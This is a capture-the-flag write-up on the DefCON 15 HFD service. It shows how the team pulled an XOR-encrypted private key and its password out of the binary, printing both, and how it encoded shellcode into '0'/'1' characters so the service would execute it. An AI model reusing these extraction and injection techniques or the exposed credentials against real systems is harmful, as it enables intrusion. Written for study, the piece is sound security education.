.w v. _,
W( d(_wa 4Q, . Exploiting HFD
W(.swc jWmT$W` =V' .
.sWmV9WP jWP`_Qf aa. .c . Osu Tatakae! Sexy Pandas!
3WUm`_d( ?( j@ "Q[ _m'
.m ?' )W' " _Qf . DefCON 15 CtF
m _W( jQF
4wawm, _m( osyW!
-?TT?' _Z' 7$T'
_, a .Jp!
jP6 3Q7 .QayQL" .7samm
)w :a:5[ df ./ .yW?:Qf -$D"QF
]D ]m. ^ .w( m@' jD jE
m[ Wk .mP =P-$wW' _@`
jE ]W; _QP` )W[ _WSw,
_Z` 9' .jQF . dF :_m[ ?Qa
- qm@^ ajD jWf 4Q;
-! =W? ?^ )9'
This paper explains how to exploit the HFD service of
the Kenshoto's CaptureTheFlag competition at DefCON-15.
Taking a first look at the binary, it's easy to see that it has a lot of references to the SSL library. But let's analyze it step by step. It's also easy to find that main() is located at 08049724, so starting from here and after all initialization code (setting privileges, signal handlers and all the socket stuff) we reach 08049BB0 where all the SSL fun just begins ;D
Here we see some SSL setup (more initialization code, duh), and next the hfd binary uses the /home/hfd/server.pem certificate via SSL_CTX_use_certificate_chain_file(). At this point the execution flow is just as expected, setting up the socket so the clients can connect using a SSL connection, but there's a little surprise. The hfd service has embedded, but encrypted, a private key and its password. Here's the decryption routine written in C:
void DecryptPrivateCreds()
{
unsigned int i, j;
for (i = 0; ( i <= 7 ); i++)
SSL_Password[i] = SSL_Password[i] ^ 0x4B;
for (j = 0; ( j <= 961 ); j++)
SSL_PrivateKey[j] = SSL_PrivateKey[j] ^ 0x4B;
}
|
Simple, huh? Just write a little idc script so you can export the decrypted data from IDA:
auto ini, fin;
auto ea, howmany, counter;
auto f, filename;
ini = SelStart();
fin = SelEnd();
counter = 0;
filename = AskFile(1, "*.*", "Save dump as...");
f = fopen(filename, "wb");
howmany = AskLong(0, "How many bytes to decrypt?");
for (ea = ini; (ea < fin) && (counter <= howmany); ea++)
{
auto b;
b = Byte(ea) ^ 0x4B;
fputc(b, f);
counter++;
}
fclose(f);
|
Another nice way to do it is using TinyHexer and it's XOR decryption script, or you can choose the leet way and do it with radare ;P The exported private key is:
-----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: DES-EDE3-CBC,7396FAE9A28020E5 eBghNXPK5p3lAK84eKe/dBDtRpK+c6yuuE7+Bj1KxNGoC9i65oHl7xHQyRTTFsvW 9877kGLpHw0qOF3GjhNE73h+l72Q+4jMVROtf9zU4+v01webdzj2J/ZJOn7glUVK tfg7KnkJMld9pXL4TTSkMt1yxvv9KC/iK+bCXfGCp9l5Bvd30gEYomnrY1gLJ0Qq Wh3zyfePDh0hwrePUEStQwm9p+fbm1wAcZuxGr+x62WGwB4Om924pR4KMOCKG79t QYEKITytPVELcAIy2R3u3106pnkxssBVwzwcamVBk1DTiR0Bil77e79b0nz/Gjjf r3CovmWsA8ozzWCcUxUD7fCbjF2sHunIStW5/xSaEEa/BUZ9SjY7rL+WbefZuz83 ineSgOCwrlhDy8JtA69TtOL4MSEkMKdYJbdABboXvhjs1yDmx+1y8Idl7ixkzC1T vgVP3MY/4iSdpXsMmej6ZC89fBBgkIsq5hYzCgwZS3RO5xMyRSuwrWQaOI8Hfsq4 w1Bk4LkBEnXmytJd7cugN9nlttM3z/YfKJeHeITsoG7TdhW7ysa2otfkJMzy4T+c eOV0L8Y2H6xhriu+DlPCgqw5AQ6rblSoaU1ybQZuztaAo2ikQvVB5B2xSTQWZxmt btEcT3EbvPBkHIJtSapHBd2A9aljEfb9mPtn+1rl1pMFsrdQJpkevVxUxBxGLzih Pay6VHl6dRDQ4qclHv2n1UjntUrSQkHOnS52oOhdxmTWPNtM8e8qgwBHVqCLrL5G 5EHeCzlYkmArMziD9ontIGxPZUIw2U36yyGDM05eSlux3hd4CX1tjQ== -----END RSA PRIVATE KEY-----
|
Ok, this is an interesting way, but we will play with the key later.
Let's continue with the analysis. Just after this decryption, there's
a typical SSL context initialization code (as you can see
here):
SSL_CTX_set_default_passwd_cb(ctx, pem_password_callback);
SSL_CTX_use_PrivateKey_file(ctx, "/home/hfd/server.pem", 1);
SSL_CTX_load_verify_locations(ctx, "/home/hfd/root.pem", 0);
The binary only needs to init the BioApi (Diffie-Hellman) and then it can start to accept connections. Just note that after the ssl-handshake is completed, the client only has 1 second to interact with the service (take a look to the alarm(1) and its handling), so we only have 1sec to exploit and get the flag.
What the service finally does is a bit surprising, or at least it was for us when we were analyzing it. Better than explaining it, just take a look at the code. Let's say that SSL_read() put in ssl_read_buffer the data supplied by the client (which is ssl_readed_bytes long):
n_bytes = ssl_readed_bytes;
encoded_byte = 0;
bit_index = 0;
encoded_index = 0;
bytes_processed = 0;
while ( bytes_processed < n_bytes )
{
encoded_byte |= ssl_read_buffer[bytes_processed] & 1;
++bit_index;
if ( bit_index != 8 )
encoded_byte *= 2;
else
{
final_encoded_buf[encoded_index++] = encoded_byte;
bit_index = 0;
encoded_byte = 0;
}
++bytes_processed;
}
final_encoded_buf();
|
Maybe the encoding routine looks a bit confusing, but the most important part of this code is its last line... oh! ok, you finally saw it. Yes!! it uses the user supplied data as code, only after a simple encoding. How does the encoding works? The encoding is really simple (once you analyzed it xD). No, really, it's simple. The encoding (actually a decoding, isn't it?) takes the last bit of every byte in order to build the "final_encoded_buf". Working this way, we need to supply 8 bytes to represent a single bit.
This kind of encoding allowed us to use an elegant approach. We can use 0x30 to represent a binary 0 and 0x31 to represent a 1. That is, we can use the characters '0' and '1' to represent real binary 0s and 1s. Okay, an example, we can encode the opcode 0x41 as the character string "01000001". Okay, pick your best shellcode and simply encode it:
#define PRINT_BIN(x) printf("%d%d%d%d%d%d%d%d",\
(x&128)?1:0, (x&64)?1:0, (x&32)?1:0, (x&16)?1:0,\
(x&8)?1:0, (x&4)?1:0, (x&2)?1:0, (x&1)?1:0);
//[...]
for (i = 0;i < sizeof(shellcode) - 1; i++)
PRINT_BIN(shellcode[i]);
|
Well, we have all necessary information in order to exploit the service, except for a working connection...
If you try to connect to the service using openssl, you will notice that it doesn't work. We still have to deal with the exported private key, so our client can supply to the server a valid key/certificate. In the home dir of the hfd user we can find 3 files: dh1024.pem, root.pem and server.pem. Also we have the private key and the password. All we need to do is:
$ openssl rsa -in exported_private_key -out decrypted.key Enter pass phrase for exported_private_key: K3nsh07o writing RSA key $ openssl s_client -host
|
And voila! The connection now works, your shellcode gets decoded and executed, you get a breakthrough and a happy ending xD
Osu, Tatakae, Sexy Pandas! 2k7